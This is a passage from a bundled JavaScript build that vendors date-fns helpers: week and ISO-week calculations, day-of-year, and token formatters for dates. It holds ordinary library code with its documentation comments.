28360 * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).
28361 * @typeParam ResultDate - The result `Date` type, it is the type returned from the context function if it is passed, or inferred from the arguments.
28362 *
28363 * @param date - The original date
28364 * @param options - The options
28365 *
28366 * @returns The start of a day
28367 *
28368 * @example
28369 * // The start of a day for 2 September 2014 11:55:00:
28370 * const result = startOfDay(new Date(2014, 8, 2, 11, 55, 0))
28371 * //=> Tue Sep 02 2014 00:00:00
28372 */
28373function startOfDay(date, options) {
28374 const _date = toDate(date, options?.in);
28375 _date.setHours(0, 0, 0, 0);
28376 return _date;
28377}
28378
28379// Fallback for modularized imports:
28380/* harmony default export */ const date_fns_startOfDay = ((/* unused pure expression or super */ null && (startOfDay)));
28381
28382;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/differenceInCalendarDays.js
28383
28384
28385
28386
28387
28388/**
28389 * The {@link differenceInCalendarDays} function options.
28390 */
28391
28392/**
28393 * @name differenceInCalendarDays
28394 * @category Day Helpers
28395 * @summary Get the number of calendar days between the given dates.
28396 *
28397 * @description
28398 * Get the number of calendar days between the given dates. This means that the times are removed
28399 * from the dates and then the difference in days is calculated.
28400 *
28401 * @param laterDate - The later date
28402 * @param earlierDate - The earlier date
28403 * @param options - The options object
28404 *
28405 * @returns The number of calendar days
28406 *
28407 * @example
28408 * // How many calendar days are between
28409 * // 2 July 2011 23:00:00 and 2 July 2012 00:00:00?
28410 * const result = differenceInCalendarDays(
28411 * new Date(2012, 6, 2, 0, 0),
28412 * new Date(2011, 6, 2, 23, 0)
28413 * )
28414 * //=> 366
28415 * // How many calendar days are between
28416 * // 2 July 2011 23:59:00 and 3 July 2011 00:01:00?
28417 * const result = differenceInCalendarDays(
28418 * new Date(2011, 6, 3, 0, 1),
28419 * new Date(2011, 6, 2, 23, 59)
28420 * )
28421 * //=> 1
28422 */
28423function differenceInCalendarDays(laterDate, earlierDate, options) {
28424 const [laterDate_, earlierDate_] = normalizeDates(
28425 options?.in,
28426 laterDate,
28427 earlierDate,
28428 );
28429
28430 const laterStartOfDay = startOfDay(laterDate_);
28431 const earlierStartOfDay = startOfDay(earlierDate_);
28432
28433 const laterTimestamp =
28434 +laterStartOfDay - getTimezoneOffsetInMilliseconds(laterStartOfDay);
28435 const earlierTimestamp =
28436 +earlierStartOfDay - getTimezoneOffsetInMilliseconds(earlierStartOfDay);
28437
28438 // Round the number of days to the nearest integer because the number of
28439 // milliseconds in a day is not constant (e.g. it's different in the week of
28440 // the daylight saving time clock shift).
28441 return Math.round((laterTimestamp - earlierTimestamp) / millisecondsInDay);
28442}
28443
28444// Fallback for modularized imports:
28445/* harmony default export */ const date_fns_differenceInCalendarDays = ((/* unused pure expression or super */ null && (differenceInCalendarDays)));
28446
28447;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/startOfYear.js
28448
28449
28450/**
28451 * The {@link startOfYear} function options.
28452 */
28453
28454/**
28455 * @name startOfYear
28456 * @category Year Helpers
28457 * @summary Return the start of a year for the given date.
28458 *
28459 * @description
28460 * Return the start of a year for the given date.
28461 * The result will be in the local timezone.
28462 *
28463 * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).
28464 * @typeParam ResultDate - The result `Date` type, it is the type returned from the context function if it is passed, or inferred from the arguments.
28465 *
28466 * @param date - The original date
28467 * @param options - The options
28468 *
28469 * @returns The start of a year
28470 *
28471 * @example
28472 * // The start of a year for 2 September 2014 11:55:00:
28473 * const result = startOfYear(new Date(2014, 8, 2, 11, 55, 00))
28474 * //=> Wed Jan 01 2014 00:00:00
28475 */
28476function startOfYear(date, options) {
28477 const date_ = toDate(date, options?.in);
28478 date_.setFullYear(date_.getFullYear(), 0, 1);
28479 date_.setHours(0, 0, 0, 0);
28480 return date_;
28481}
28482
28483// Fallback for modularized imports:
28484/* harmony default export */ const date_fns_startOfYear = ((/* unused pure expression or super */ null && (startOfYear)));
28485
28486;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/getDayOfYear.js
28487
28488
28489
28490
28491/**
28492 * The {@link getDayOfYear} function options.
28493 */
28494
28495/**
28496 * @name getDayOfYear
28497 * @category Day Helpers
28498 * @summary Get the day of the year of the given date.
28499 *
28500 * @description
28501 * Get the day of the year of the given date.
28502 *
28503 * @param date - The given date
28504 * @param options - The options
28505 *
28506 * @returns The day of year
28507 *
28508 * @example
28509 * // Which day of the year is 2 July 2014?
28510 * const result = getDayOfYear(new Date(2014, 6, 2))
28511 * //=> 183
28512 */
28513function getDayOfYear(date, options) {
28514 const _date = toDate(date, options?.in);
28515 const diff = differenceInCalendarDays(_date, startOfYear(_date));
28516 const dayOfYear = diff + 1;
28517 return dayOfYear;
28518}
28519
28520// Fallback for modularized imports:
28521/* harmony default export */ const date_fns_getDayOfYear = ((/* unused pure expression or super */ null && (getDayOfYear)));
28522
28523;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/startOfWeek.js
28524
28525
28526
28527/**
28528 * The {@link startOfWeek} function options.
28529 */
28530
28531/**
28532 * @name startOfWeek
28533 * @category Week Helpers
28534 * @summary Return the start of a week for the given date.
28535 *
28536 * @description
28537 * Return the start of a week for the given date.
28538 * The result will be in the local timezone.
28539 *
28540 * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).
28541 * @typeParam ResultDate - The result `Date` type, it is the type returned from the context function if it is passed, or inferred from the arguments.
28542 *
28543 * @param date - The original date
28544 * @param options - An object with options
28545 *
28546 * @returns The start of a week
28547 *
28548 * @example
28549 * // The start of a week for 2 September 2014 11:55:00:
28550 * const result = startOfWeek(new Date(2014, 8, 2, 11, 55, 0))
28551 * //=> Sun Aug 31 2014 00:00:00
28552 *
28553 * @example
28554 * // If the week starts on Monday, the start of the week for 2 September 2014 11:55:00:
28555 * const result = startOfWeek(new Date(2014, 8, 2, 11, 55, 0), { weekStartsOn: 1 })
28556 * //=> Mon Sep 01 2014 00:00:00
28557 */
28558function startOfWeek(date, options) {
28559 const defaultOptions = getDefaultOptions();
28560 const weekStartsOn =
28561 options?.weekStartsOn ??
28562 options?.locale?.options?.weekStartsOn ??
28563 defaultOptions.weekStartsOn ??
28564 defaultOptions.locale?.options?.weekStartsOn ??
28565 0;
28566
28567 const _date = toDate(date, options?.in);
28568 const day = _date.getDay();
28569 const diff = (day < weekStartsOn ? 7 : 0) + day - weekStartsOn;
28570
28571 _date.setDate(_date.getDate() - diff);
28572 _date.setHours(0, 0, 0, 0);
28573 return _date;
28574}
28575
28576// Fallback for modularized imports:
28577/* harmony default export */ const date_fns_startOfWeek = ((/* unused pure expression or super */ null && (startOfWeek)));
28578
28579;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/startOfISOWeek.js
28580
28581
28582/**
28583 * The {@link startOfISOWeek} function options.
28584 */
28585
28586/**
28587 * @name startOfISOWeek
28588 * @category ISO Week Helpers
28589 * @summary Return the start of an ISO week for the given date.
28590 *
28591 * @description
28592 * Return the start of an ISO week for the given date.
28593 * The result will be in the local timezone.
28594 *
28595 * ISO week-numbering year: http://en.wikipedia.org/wiki/ISO_week_date
28596 *
28597 * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).
28598 * @typeParam ResultDate - The result `Date` type, it is the type returned from the context function if it is passed, or inferred from the arguments.
28599 *
28600 * @param date - The original date
28601 * @param options - An object with options
28602 *
28603 * @returns The start of an ISO week
28604 *
28605 * @example
28606 * // The start of an ISO week for 2 September 2014 11:55:00:
28607 * const result = startOfISOWeek(new Date(2014, 8, 2, 11, 55, 0))
28608 * //=> Mon Sep 01 2014 00:00:00
28609 */
28610function startOfISOWeek(date, options) {
28611 return startOfWeek(date, { ...options, weekStartsOn: 1 });
28612}
28613
28614// Fallback for modularized imports:
28615/* harmony default export */ const date_fns_startOfISOWeek = ((/* unused pure expression or super */ null && (startOfISOWeek)));
28616
28617;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/getISOWeekYear.js
28618
28619
28620
28621
28622/**
28623 * The {@link getISOWeekYear} function options.
28624 */
28625
28626/**
28627 * @name getISOWeekYear
28628 * @category ISO Week-Numbering Year Helpers
28629 * @summary Get the ISO week-numbering year of the given date.
28630 *
28631 * @description
28632 * Get the ISO week-numbering year of the given date,
28633 * which always starts 3 days before the year's first Thursday.
28634 *
28635 * ISO week-numbering year: http://en.wikipedia.org/wiki/ISO_week_date
28636 *
28637 * @param date - The given date
28638 *
28639 * @returns The ISO week-numbering year
28640 *
28641 * @example
28642 * // Which ISO-week numbering year is 2 January 2005?
28643 * const result = getISOWeekYear(new Date(2005, 0, 2))
28644 * //=> 2004
28645 */
28646function getISOWeekYear(date, options) {
28647 const _date = toDate(date, options?.in);
28648 const year = _date.getFullYear();
28649
28650 const fourthOfJanuaryOfNextYear = constructFrom(_date, 0);
28651 fourthOfJanuaryOfNextYear.setFullYear(year + 1, 0, 4);
28652 fourthOfJanuaryOfNextYear.setHours(0, 0, 0, 0);
28653 const startOfNextYear = startOfISOWeek(fourthOfJanuaryOfNextYear);
28654
28655 const fourthOfJanuaryOfThisYear = constructFrom(_date, 0);
28656 fourthOfJanuaryOfThisYear.setFullYear(year, 0, 4);
28657 fourthOfJanuaryOfThisYear.setHours(0, 0, 0, 0);
28658 const startOfThisYear = startOfISOWeek(fourthOfJanuaryOfThisYear);
28659
28660 if (_date.getTime() >= startOfNextYear.getTime()) {
28661 return year + 1;
28662 } else if (_date.getTime() >= startOfThisYear.getTime()) {
28663 return year;
28664 } else {
28665 return year - 1;
28666 }
28667}
28668
28669// Fallback for modularized imports:
28670/* harmony default export */ const date_fns_getISOWeekYear = ((/* unused pure expression or super */ null && (getISOWeekYear)));
28671
28672;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/startOfISOWeekYear.js
28673
28674
28675
28676
28677/**
28678 * The {@link startOfISOWeekYear} function options.
28679 */
28680
28681/**
28682 * @name startOfISOWeekYear
28683 * @category ISO Week-Numbering Year Helpers
28684 * @summary Return the start of an ISO week-numbering year for the given date.
28685 *
28686 * @description
28687 * Return the start of an ISO week-numbering year,
28688 * which always starts 3 days before the year's first Thursday.
28689 * The result will be in the local timezone.
28690 *
28691 * ISO week-numbering year: http://en.wikipedia.org/wiki/ISO_week_date
28692 *
28693 * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).
28694 * @typeParam ResultDate - The result `Date` type, it is the type returned from the context function if it is passed, or inferred from the arguments.
28695 *
28696 * @param date - The original date
28697 * @param options - An object with options
28698 *
28699 * @returns The start of an ISO week-numbering year
28700 *
28701 * @example
28702 * // The start of an ISO week-numbering year for 2 July 2005:
28703 * const result = startOfISOWeekYear(new Date(2005, 6, 2))
28704 * //=> Mon Jan 03 2005 00:00:00
28705 */
28706function startOfISOWeekYear(date, options) {
28707 const year = getISOWeekYear(date, options);
28708 const fourthOfJanuary = constructFrom(options?.in || date, 0);
28709 fourthOfJanuary.setFullYear(year, 0, 4);
28710 fourthOfJanuary.setHours(0, 0, 0, 0);
28711 return startOfISOWeek(fourthOfJanuary);
28712}
28713
28714// Fallback for modularized imports:
28715/* harmony default export */ const date_fns_startOfISOWeekYear = ((/* unused pure expression or super */ null && (startOfISOWeekYear)));
28716
28717;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/getISOWeek.js
28718
28719
28720
28721
28722
28723/**
28724 * The {@link getISOWeek} function options.
28725 */
28726
28727/**
28728 * @name getISOWeek
28729 * @category ISO Week Helpers
28730 * @summary Get the ISO week of the given date.
28731 *
28732 * @description
28733 * Get the ISO week of the given date.
28734 *
28735 * ISO week-numbering year: http://en.wikipedia.org/wiki/ISO_week_date
28736 *
28737 * @param date - The given date
28738 * @param options - The options
28739 *
28740 * @returns The ISO week
28741 *
28742 * @example
28743 * // Which week of the ISO-week numbering year is 2 January 2005?
28744 * const result = getISOWeek(new Date(2005, 0, 2))
28745 * //=> 53
28746 */
28747function getISOWeek(date, options) {
28748 const _date = toDate(date, options?.in);
28749 const diff = +startOfISOWeek(_date) - +startOfISOWeekYear(_date);
28750
28751 // Round the number of weeks to the nearest integer because the number of
28752 // milliseconds in a week is not constant (e.g. it's different in the week of
28753 // the daylight saving time clock shift).
28754 return Math.round(diff / millisecondsInWeek) + 1;
28755}
28756
28757// Fallback for modularized imports:
28758/* harmony default export */ const date_fns_getISOWeek = ((/* unused pure expression or super */ null && (getISOWeek)));
28759
28760;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/getWeekYear.js
28761
28762
28763
28764
28765
28766/**
28767 * The {@link getWeekYear} function options.
28768 */
28769
28770/**
28771 * @name getWeekYear
28772 * @category Week-Numbering Year Helpers
28773 * @summary Get the local week-numbering year of the given date.
28774 *
28775 * @description
28776 * Get the local week-numbering year of the given date.
28777 * The exact calculation depends on the values of
28778 * `options.weekStartsOn` (which is the index of the first day of the week)
28779 * and `options.firstWeekContainsDate` (which is the day of January, which is always in
28780 * the first week of the week-numbering year)
28781 *
28782 * Week numbering: https://en.wikipedia.org/wiki/Week#The_ISO_week_date_system
28783 *
28784 * @param date - The given date
28785 * @param options - An object with options.
28786 *
28787 * @returns The local week-numbering year
28788 *
28789 * @example
28790 * // Which week numbering year is 26 December 2004 with the default settings?
28791 * const result = getWeekYear(new Date(2004, 11, 26))
28792 * //=> 2005
28793 *
28794 * @example
28795 * // Which week numbering year is 26 December 2004 if week starts on Saturday?
28796 * const result = getWeekYear(new Date(2004, 11, 26), { weekStartsOn: 6 })
28797 * //=> 2004
28798 *
28799 * @example
28800 * // Which week numbering year is 26 December 2004 if the first week contains 4 January?
28801 * const result = getWeekYear(new Date(2004, 11, 26), { firstWeekContainsDate: 4 })
28802 * //=> 2004
28803 */
28804function getWeekYear(date, options) {
28805 const _date = toDate(date, options?.in);
28806 const year = _date.getFullYear();
28807
28808 const defaultOptions = getDefaultOptions();
28809 const firstWeekContainsDate =
28810 options?.firstWeekContainsDate ??
28811 options?.locale?.options?.firstWeekContainsDate ??
28812 defaultOptions.firstWeekContainsDate ??
28813 defaultOptions.locale?.options?.firstWeekContainsDate ??
28814 1;
28815
28816 const firstWeekOfNextYear = constructFrom(options?.in || date, 0);
28817 firstWeekOfNextYear.setFullYear(year + 1, 0, firstWeekContainsDate);
28818 firstWeekOfNextYear.setHours(0, 0, 0, 0);
28819 const startOfNextYear = startOfWeek(firstWeekOfNextYear, options);
28820
28821 const firstWeekOfThisYear = constructFrom(options?.in || date, 0);
28822 firstWeekOfThisYear.setFullYear(year, 0, firstWeekContainsDate);
28823 firstWeekOfThisYear.setHours(0, 0, 0, 0);
28824 const startOfThisYear = startOfWeek(firstWeekOfThisYear, options);
28825
28826 if (+_date >= +startOfNextYear) {
28827 return year + 1;
28828 } else if (+_date >= +startOfThisYear) {
28829 return year;
28830 } else {
28831 return year - 1;
28832 }
28833}
28834
28835// Fallback for modularized imports:
28836/* harmony default export */ const date_fns_getWeekYear = ((/* unused pure expression or super */ null && (getWeekYear)));
28837
28838;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/startOfWeekYear.js
28839
28840
28841
28842
28843
28844/**
28845 * The {@link startOfWeekYear} function options.
28846 */
28847
28848/**
28849 * @name startOfWeekYear
28850 * @category Week-Numbering Year Helpers
28851 * @summary Return the start of a local week-numbering year for the given date.
28852 *
28853 * @description
28854 * Return the start of a local week-numbering year.
28855 * The exact calculation depends on the values of
28856 * `options.weekStartsOn` (which is the index of the first day of the week)
28857 * and `options.firstWeekContainsDate` (which is the day of January, which is always in
28858 * the first week of the week-numbering year)
28859 *
28860 * Week numbering: https://en.wikipedia.org/wiki/Week#The_ISO_week_date_system
28861 *
28862 * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).
28863 * @typeParam ResultDate - The result `Date` type.
28864 *
28865 * @param date - The original date
28866 * @param options - An object with options
28867 *
28868 * @returns The start of a week-numbering year
28869 *
28870 * @example
28871 * // The start of an a week-numbering year for 2 July 2005 with default settings:
28872 * const result = startOfWeekYear(new Date(2005, 6, 2))
28873 * //=> Sun Dec 26 2004 00:00:00
28874 *
28875 * @example
28876 * // The start of a week-numbering year for 2 July 2005
28877 * // if Monday is the first day of week
28878 * // and 4 January is always in the first week of the year:
28879 * const result = startOfWeekYear(new Date(2005, 6, 2), {
28880 * weekStartsOn: 1,
28881 * firstWeekContainsDate: 4
28882 * })
28883 * //=> Mon Jan 03 2005 00:00:00
28884 */
28885function startOfWeekYear(date, options) {
28886 const defaultOptions = getDefaultOptions();
28887 const firstWeekContainsDate =
28888 options?.firstWeekContainsDate ??
28889 options?.locale?.options?.firstWeekContainsDate ??
28890 defaultOptions.firstWeekContainsDate ??
28891 defaultOptions.locale?.options?.firstWeekContainsDate ??
28892 1;
28893
28894 const year = getWeekYear(date, options);
28895 const firstWeek = constructFrom(options?.in || date, 0);
28896 firstWeek.setFullYear(year, 0, firstWeekContainsDate);
28897 firstWeek.setHours(0, 0, 0, 0);
28898 const _date = startOfWeek(firstWeek, options);
28899 return _date;
28900}
28901
28902// Fallback for modularized imports:
28903/* harmony default export */ const date_fns_startOfWeekYear = ((/* unused pure expression or super */ null && (startOfWeekYear)));
28904
28905;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/getWeek.js
28906
28907
28908
28909
28910
28911/**
28912 * The {@link getWeek} function options.
28913 */
28914
28915/**
28916 * @name getWeek
28917 * @category Week Helpers
28918 * @summary Get the local week index of the given date.
28919 *
28920 * @description
28921 * Get the local week index of the given date.
28922 * The exact calculation depends on the values of
28923 * `options.weekStartsOn` (which is the index of the first day of the week)
28924 * and `options.firstWeekContainsDate` (which is the day of January, which is always in
28925 * the first week of the week-numbering year)
28926 *
28927 * Week numbering: https://en.wikipedia.org/wiki/Week#The_ISO_week_date_system
28928 *
28929 * @param date - The given date
28930 * @param options - An object with options
28931 *
28932 * @returns The week
28933 *
28934 * @example
28935 * // Which week of the local week numbering year is 2 January 2005 with default options?
28936 * const result = getWeek(new Date(2005, 0, 2))
28937 * //=> 2
28938 *
28939 * @example
28940 * // Which week of the local week numbering year is 2 January 2005,
28941 * // if Monday is the first day of the week,
28942 * // and the first week of the year always contains 4 January?
28943 * const result = getWeek(new Date(2005, 0, 2), {
28944 * weekStartsOn: 1,
28945 * firstWeekContainsDate: 4
28946 * })
28947 * //=> 53
28948 */
28949function getWeek(date, options) {
28950 const _date = toDate(date, options?.in);
28951 const diff = +startOfWeek(_date, options) - +startOfWeekYear(_date, options);
28952
28953 // Round the number of weeks to the nearest integer because the number of
28954 // milliseconds in a week is not constant (e.g. it's different in the week of
28955 // the daylight saving time clock shift).
28956 return Math.round(diff / millisecondsInWeek) + 1;
28957}
28958
28959// Fallback for modularized imports:
28960/* harmony default export */ const date_fns_getWeek = ((/* unused pure expression or super */ null && (getWeek)));
28961
28962;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/_lib/addLeadingZeros.js
28963function addLeadingZeros(number, targetLength) {
28964 const sign = number < 0 ? "-" : "";
28965 const output = Math.abs(number).toString().padStart(targetLength, "0");
28966 return sign + output;
28967}
28968
28969;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/_lib/format/lightFormatters.js
28970
28971
28972/*
28973 * | | Unit | | Unit |
28974 * |-----|--------------------------------|-----|--------------------------------|
28975 * | a | AM, PM | A* | |
28976 * | d | Day of month | D | |
28977 * | h | Hour [1-12] | H | Hour [0-23] |
28978 * | m | Minute | M | Month |
28979 * | s | Second | S | Fraction of second |
28980 * | y | Year (abs) | Y | |
28981 *
28982 * Letters marked by * are not implemented but reserved by Unicode standard.
28983 */
28984
28985const lightFormatters = {
28986 // Year
28987 y(date, token) {
28988 // From http://www.unicode.org/reports/tr35/tr35-31/tr35-dates.html#Date_Format_tokens
28989 // | Year | y | yy | yyy | yyyy | yyyyy |
28990 // |----------|-------|----|-------|-------|-------|
28991 // | AD 1 | 1 | 01 | 001 | 0001 | 00001 |
28992 // | AD 12 | 12 | 12 | 012 | 0012 | 00012 |
28993 // | AD 123 | 123 | 23 | 123 | 0123 | 00123 |
28994 // | AD 1234 | 1234 | 34 | 1234 | 1234 | 01234 |
28995 // | AD 12345 | 12345 | 45 | 12345 | 12345 | 12345 |
28996
28997 const signedYear = date.getFullYear();
28998 // Returns 1 for 1 BC (which is year 0 in JavaScript)
28999 const year = signedYear > 0 ? signedYear : 1 - signedYear;
29000 return addLeadingZeros(token === "yy" ? year % 100 : year, token.length);
29001 },
29002
29003 // Month
29004 M(date, token) {
29005 const month = date.getMonth();
29006 return token === "M" ? String(month + 1) : addLeadingZeros(month + 1, 2);
29007 },
29008
29009 // Day of the month
29010 d(date, token) {
29011 return addLeadingZeros(date.getDate(), token.length);
29012 },
29013
29014 // AM or PM
29015 a(date, token) {
29016 const dayPeriodEnumValue = date.getHours() / 12 >= 1 ? "pm" : "am";
29017
29018 switch (token) {
29019 case "a":
29020 case "aa":
29021 return dayPeriodEnumValue.toUpperCase();
29022 case "aaa":
29023 return dayPeriodEnumValue;
29024 case "aaaaa":
29025 return dayPeriodEnumValue[0];
29026 case "aaaa":
29027 default:
29028 return dayPeriodEnumValue === "am" ? "a.m." : "p.m.";
29029 }
29030 },
29031
29032 // Hour [1-12]
29033 h(date, token) {
29034 return addLeadingZeros(date.getHours() % 12 || 12, token.length);
29035 },
29036
29037 // Hour [0-23]
29038 H(date, token) {
29039 return addLeadingZeros(date.getHours(), token.length);
29040 },
29041
29042 // Minute
29043 m(date, token) {
29044 return addLeadingZeros(date.getMinutes(), token.length);
29045 },
29046
29047 // Second
29048 s(date, token) {
29049 return addLeadingZeros(date.getSeconds(), token.length);
29050 },
29051
29052 // Fraction of second
29053 S(date, token) {
29054 const numberOfDigits = token.length;
29055 const milliseconds = date.getMilliseconds();
29056 const fractionalSeconds = Math.trunc(
29057 milliseconds * Math.pow(10, numberOfDigits - 3),
29058 );
29059 return addLeadingZeros(fractionalSeconds, token.length);
29060 },
29061};
29062
29063;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/_lib/format/formatters.js
29064
29065
29066
29067
29068
29069
29070
29071
29072
29073const dayPeriodEnum = {
29074 am: "am",
29075 pm: "pm",
29076 midnight: "midnight",
29077 noon: "noon",
29078 morning: "morning",
29079 afternoon: "afternoon",
29080 evening: "evening",
29081 night: "night",
29082};
29083
29084/*
29085 * | | Unit | | Unit |
29086 * |-----|--------------------------------|-----|--------------------------------|
29087 * | a | AM, PM | A* | Milliseconds in day |
29088 * | b | AM, PM, noon, midnight | B | Flexible day period |
29089 * | c | Stand-alone local day of week | C* | Localized hour w/ day period |
29090 * | d | Day of month | D | Day of year |
29091 * | e | Local day of week | E | Day of week |
29092 * | f | | F* | Day of week in month |
29093 * | g* | Modified Julian day | G | Era |
29094 * | h | Hour [1-12] | H | Hour [0-23] |
29095 * | i! | ISO day of week | I! | ISO week of year |
29096 * | j* | Localized hour w/ day period | J* | Localized hour w/o day period |
29097 * | k | Hour [1-24] | K | Hour [0-11] |
29098 * | l* | (deprecated) | L | Stand-alone month |
29099 * | m | Minute | M | Month |
29100 * | n | | N | |
29101 * | o! | Ordinal number modifier | O | Timezone (GMT) |
29102 * | p! | Long localized time | P! | Long localized date |
29103 * | q | Stand-alone quarter | Q | Quarter |
29104 * | r* | Related Gregorian year | R! | ISO week-numbering year |
29105 * | s | Second | S | Fraction of second |
29106 * | t! | Seconds timestamp | T! | Milliseconds timestamp |
29107 * | u | Extended year | U* | Cyclic year |
29108 * | v* | Timezone (generic non-locat.) | V* | Timezone (location) |
29109 * | w | Local week of year | W* | Week of month |
29110 * | x | Timezone (ISO-8601 w/o Z) | X | Timezone (ISO-8601) |
29111 * | y | Year (abs) | Y | Local week-numbering year |
29112 * | z | Timezone (specific non-locat.) | Z* | Timezone (aliases) |
29113 *
29114 * Letters marked by * are not implemented but reserved by Unicode standard.
29115 *
29116 * Letters marked by ! are non-standard, but implemented by date-fns:
29117 * - `o` modifies the previous token to turn it into an ordinal (see `format` docs)
29118 * - `i` is ISO day of week. For `i` and `ii` is returns numeric ISO week days,
29119 * i.e. 7 for Sunday, 1 for Monday, etc.
29120 * - `I` is ISO week of year, as opposed to `w` which is local week of year.
29121 * - `R` is ISO week-numbering year, as opposed to `Y` which is local week-numbering year.
29122 * `R` is supposed to be used in conjunction with `I` and `i`
29123 * for universal ISO week-numbering date, whereas
29124 * `Y` is supposed to be used in conjunction with `w` and `e`
29125 * for week-numbering date specific to the locale.
29126 * - `P` is long localized date format
29127 * - `p` is long localized time format
29128 */
29129
29130const formatters = {
29131 // Era
29132 G: function (date, token, localize) {
29133 const era = date.getFullYear() > 0 ? 1 : 0;
29134 switch (token) {
29135 // AD, BC
29136 case "G":
29137 case "GG":
29138 case "GGG":
29139 return localize.era(era, { width: "abbreviated" });
29140 // A, B
29141 case "GGGGG":
29142 return localize.era(era, { width: "narrow" });
29143 // Anno Domini, Before Christ
29144 case "GGGG":
29145 default:
29146 return localize.era(era, { width: "wide" });
29147 }
29148 },
29149
29150 // Year
29151 y: function (date, token, localize) {
29152 // Ordinal number
29153 if (token === "yo") {
29154 const signedYear = date.getFullYear();
29155 // Returns 1 for 1 BC (which is year 0 in JavaScript)
29156 const year = signedYear > 0 ? signedYear : 1 - signedYear;
29157 return localize.ordinalNumber(year, { unit: "year" });
29158 }
29159
29160 return lightFormatters.y(date, token);
29161 },
29162
29163 // Local week-numbering year
29164 Y: function (date, token, localize, options) {
29165 const signedWeekYear = getWeekYear(date, options);
29166 // Returns 1 for 1 BC (which is year 0 in JavaScript)
29167 const weekYear = signedWeekYear > 0 ? signedWeekYear : 1 - signedWeekYear;
29168
29169 // Two digit year
29170 if (token === "YY") {
29171 const twoDigitYear = weekYear % 100;
29172 return addLeadingZeros(twoDigitYear, 2);
29173 }
29174
29175 // Ordinal number
29176 if (token === "Yo") {
29177 return localize.ordinalNumber(weekYear, { unit: "year" });
29178 }
29179
29180 // Padding
29181 return addLeadingZeros(weekYear, token.length);
29182 },
29183
29184 // ISO week-numbering year
29185 R: function (date, token) {
29186 const isoWeekYear = getISOWeekYear(date);
29187
29188 // Padding
29189 return addLeadingZeros(isoWeekYear, token.length);
29190 },
29191
29192 // Extended year. This is a single number designating the year of this calendar system.
29193 // The main difference between `y` and `u` localizers are B.C. years:
29194 // | Year | `y` | `u` |
29195 // |------|-----|-----|
29196 // | AC 1 | 1 | 1 |
29197 // | BC 1 | 1 | 0 |
29198 // | BC 2 | 2 | -1 |
29199 // Also `yy` always returns the last two digits of a year,
29200 // while `uu` pads single digit years to 2 characters and returns other years unchanged.
29201 u: function (date, token) {
29202 const year = date.getFullYear();
29203 return addLeadingZeros(year, token.length);
29204 },
29205
29206 // Quarter
29207 Q: function (date, token, localize) {
29208 const quarter = Math.ceil((date.getMonth() + 1) / 3);
29209 switch (token) {
29210 // 1, 2, 3, 4
29211 case "Q":
29212 return String(quarter);
29213 // 01, 02, 03, 04
29214 case "QQ":
29215 return addLeadingZeros(quarter, 2);
29216 // 1st, 2nd, 3rd, 4th
29217 case "Qo":
29218 return localize.ordinalNumber(quarter, { unit: "quarter" });
29219 // Q1, Q2, Q3, Q4
29220 case "QQQ":
29221 return localize.quarter(quarter, {
29222 width: "abbreviated",
29223 context: "formatting",
29224 });
29225 // 1, 2, 3, 4 (narrow quarter; could be not numerical)
29226 case "QQQQQ":
29227 return localize.quarter(quarter, {
29228 width: "narrow",
29229 context: "formatting",
29230 });
29231 // 1st quarter, 2nd quarter, ...
29232 case "QQQQ":
29233 default:
29234 return localize.quarter(quarter, {
29235 width: "wide",
29236 context: "formatting",
29237 });
29238 }
29239 },
29240
29241 // Stand-alone quarter
29242 q: function (date, token, localize) {
29243 const quarter = Math.ceil((date.getMonth() + 1) / 3);
29244 switch (token) {
29245 // 1, 2, 3, 4
29246 case "q":
29247 return String(quarter);
29248 // 01, 02, 03, 04
29249 case "qq":
29250 return addLeadingZeros(quarter, 2);
29251 // 1st, 2nd, 3rd, 4th
29252 case "qo":
29253 return localize.ordinalNumber(quarter, { unit: "quarter" });
29254 // Q1, Q2, Q3, Q4
29255 case "qqq":
29256 return localize.quarter(quarter, {
29257 width: "abbreviated",
29258 context: "standalone",
29259 });
29260 // 1, 2, 3, 4 (narrow quarter; could be not numerical)
29261 case "qqqqq":
29262 return localize.quarter(quarter, {
29263 width: "narrow",
29264 context: "standalone",
29265 });
29266 // 1st quarter, 2nd quarter, ...
29267 case "qqqq":
29268 default:
29269 return localize.quarter(quarter, {
29270 width: "wide",
29271 context: "standalone",
29272 });
29273 }
29274 },
29275
29276 // Month
29277 M: function (date, token, localize) {
29278 const month = date.getMonth();
29279 switch (token) {
29280 case "M":
29281 case "MM":
29282 return lightFormatters.M(date, token);
29283 // 1st, 2nd, ..., 12th
29284 case "Mo":
29285 return localize.ordinalNumber(month + 1, { unit: "month" });
29286 // Jan, Feb, ..., Dec
29287 case "MMM":
29288 return localize.month(month, {
29289 width: "abbreviated",
29290 context: "formatting",
29291 });
29292 // J, F, ..., D
29293 case "MMMMM":
29294 return localize.month(month, {
29295 width: "narrow",
29296 context: "formatting",
29297 });
29298 // January, February, ..., December
29299 case "MMMM":
29300 default:
29301 return localize.month(month, { width: "wide", context: "formatting" });
29302 }
29303 },
29304
29305 // Stand-alone month
29306 L: function (date, token, localize) {
29307 const month = date.getMonth();
29308 switch (token) {
29309 // 1, 2, ..., 12
29310 case "L":
29311 return String(month + 1);
29312 // 01, 02, ..., 12
29313 case "LL":
